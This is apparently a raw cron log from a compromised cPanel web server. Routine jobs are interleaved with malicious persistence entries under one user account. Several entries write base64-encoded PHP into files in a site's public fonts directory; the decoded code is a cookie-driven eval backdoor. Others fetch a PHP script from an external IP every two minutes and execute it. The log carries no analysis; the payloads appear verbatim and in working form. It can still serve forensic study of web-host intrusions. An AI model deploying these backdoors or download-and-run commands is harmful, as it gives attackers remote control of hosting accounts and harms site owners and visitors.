Sep 12 19:50:01 ip-184-168-122-23 CROND[16036]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 19:50:01 ip-184-168-122-23 CROND[16041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:50:01 ip-184-168-122-23 CROND[16042]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:50:01 ip-184-168-122-23 CROND[16044]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:50:01 ip-184-168-122-23 CROND[16040]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 19:50:01 ip-184-168-122-23 CROND[16045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:50:01 ip-184-168-122-23 CROND[16047]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 19:50:01 ip-184-168-122-23 CROND[16048]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 19:51:01 ip-184-168-122-23 CROND[16155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:51:01 ip-184-168-122-23 CROND[16157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:51:01 ip-184-168-122-23 CROND[16159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:51:01 ip-184-168-122-23 CROND[16158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:52:01 ip-184-168-122-23 CROND[16247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:52:01 ip-184-168-122-23 CROND[16246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:52:01 ip-184-168-122-23 CROND[16249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:52:01 ip-184-168-122-23 CROND[16250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:52:01 ip-184-168-122-23 CROND[16252]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:53:01 ip-184-168-122-23 CROND[16339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:53:01 ip-184-168-122-23 CROND[16338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:53:01 ip-184-168-122-23 CROND[16340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:53:01 ip-184-168-122-23 CROND[16341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:54:02 ip-184-168-122-23 CROND[16504]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:54:02 ip-184-168-122-23 CROND[16506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:54:02 ip-184-168-122-23 CROND[16507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:54:02 ip-184-168-122-23 CROND[16510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:54:02 ip-184-168-122-23 CROND[16512]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:55:01 ip-184-168-122-23 CROND[16608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:55:01 ip-184-168-122-23 CROND[16610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:55:01 ip-184-168-122-23 CROND[16611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:55:01 ip-184-168-122-23 CROND[16615]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 19:55:01 ip-184-168-122-23 CROND[16613]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 19:55:01 ip-184-168-122-23 CROND[16616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:56:01 ip-184-168-122-23 CROND[16716]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:56:01 ip-184-168-122-23 CROND[16719]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:56:01 ip-184-168-122-23 CROND[16718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:56:01 ip-184-168-122-23 CROND[16721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:56:01 ip-184-168-122-23 CROND[16720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:57:01 ip-184-168-122-23 CROND[16809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:57:01 ip-184-168-122-23 CROND[16810]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:57:01 ip-184-168-122-23 CROND[16814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:57:01 ip-184-168-122-23 CROND[16813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:58:01 ip-184-168-122-23 CROND[16891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:58:01 ip-184-168-122-23 CROND[16892]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:58:01 ip-184-168-122-23 CROND[16895]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:58:01 ip-184-168-122-23 CROND[16896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:58:01 ip-184-168-122-23 CROND[16899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:59:01 ip-184-168-122-23 CROND[17075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:59:01 ip-184-168-122-23 CROND[17080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:59:01 ip-184-168-122-23 CROND[17079]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:59:01 ip-184-168-122-23 CROND[17082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:00:01 ip-184-168-122-23 CROND[17200]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 20:00:01 ip-184-168-122-23 CROND[17201]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 12 20:00:01 ip-184-168-122-23 CROND[17205]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 20:00:01 ip-184-168-122-23 CROND[17210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:00:01 ip-184-168-122-23 CROND[17212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:00:01 ip-184-168-122-23 CROND[17208]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 20:00:01 ip-184-168-122-23 CROND[17211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:00:01 ip-184-168-122-23 CROND[17209]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 20:00:01 ip-184-168-122-23 CROND[17213]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:01:01 ip-184-168-122-23 CROND[17325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:01:01 ip-184-168-122-23 CROND[17326]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 20:01:01 ip-184-168-122-23 CROND[17329]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 20:01:01 ip-184-168-122-23 CROND[17328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 20:01:01 ip-184-168-122-23 CROND[17330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[17326]: starting 0anacron
Sep 12 20:01:01 ip-184-168-122-23 CROND[17341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[17347]: finished 0anacron
Sep 12 20:02:01 ip-184-168-122-23 CROND[17422]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
